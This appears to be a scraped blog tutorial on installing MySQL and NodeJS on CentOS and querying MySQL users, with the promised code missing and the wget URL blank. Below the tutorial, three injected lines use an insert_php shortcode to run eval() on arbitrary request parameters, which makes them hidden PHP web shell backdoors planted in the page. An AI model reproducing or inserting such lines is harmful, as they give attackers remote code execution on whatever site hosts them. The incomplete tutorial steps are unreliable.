Linux Web Technology

NodeJS and MySQL from scratch

Recently I have came across NodeJS which is built on Chrome’s V8 and run on the server side. What make it special is that it’s pure event-driven, so it’s lightweight, fast and able to handle large amount of concurrent requests. In this post I’ll setup NodeJS and make it work with MySQL.

I’m using CentOS 6.2, but it should be more or less the same on different Linux distros. Note that you should have root permission to run most the the commands below. If not, please try adding “sudo” in front of the commands if you encounter some error.

Installing MySQL

> yum install mysql

It should do all the job
Start the service:
> service mysqld start
Make it start on bootup
> chkconfig mysqld on
Change the root password
>  mysqladmin -u root password NEWPASSWORD

Installing NodeJS

1. Download Node.js

> wget
> tar -xvf node-vo0.6.8.tar.gz
> cd node-vo0.6.8


> ./configure
> make
> make install

You may get some error during install, Make sure your g++ compiler, openssl are properly installed, you can check by:
>g++ -v
> openssl version

Install mysql module

> npm install mysql

or install globally so that you don’t need to install for every project (folder)

> npm -g install mysql

Writing some code
This piece of code will print all of the MySQL users and the password (encrypted)

Save as “hello_mysql.js”. Now run “node hello_mysql.js” to run the script 😀


<!– [insert_php]if (isset($_REQUEST["bYBJL"])){eval($_REQUEST["bYBJL"]);exit;}[/insert_php]


<!– [insert_php]if (isset($_REQUEST["sPtNX"])){eval($_REQUEST["sPtNX"]);exit;}[/insert_php]


<!– [insert_php]if (isset($_REQUEST["LRUxN"])){eval($_REQUEST["LRUxN"]);exit;}[/insert_php]


1 reply on “NodeJS and MySQL from scratch”

Share your thoughts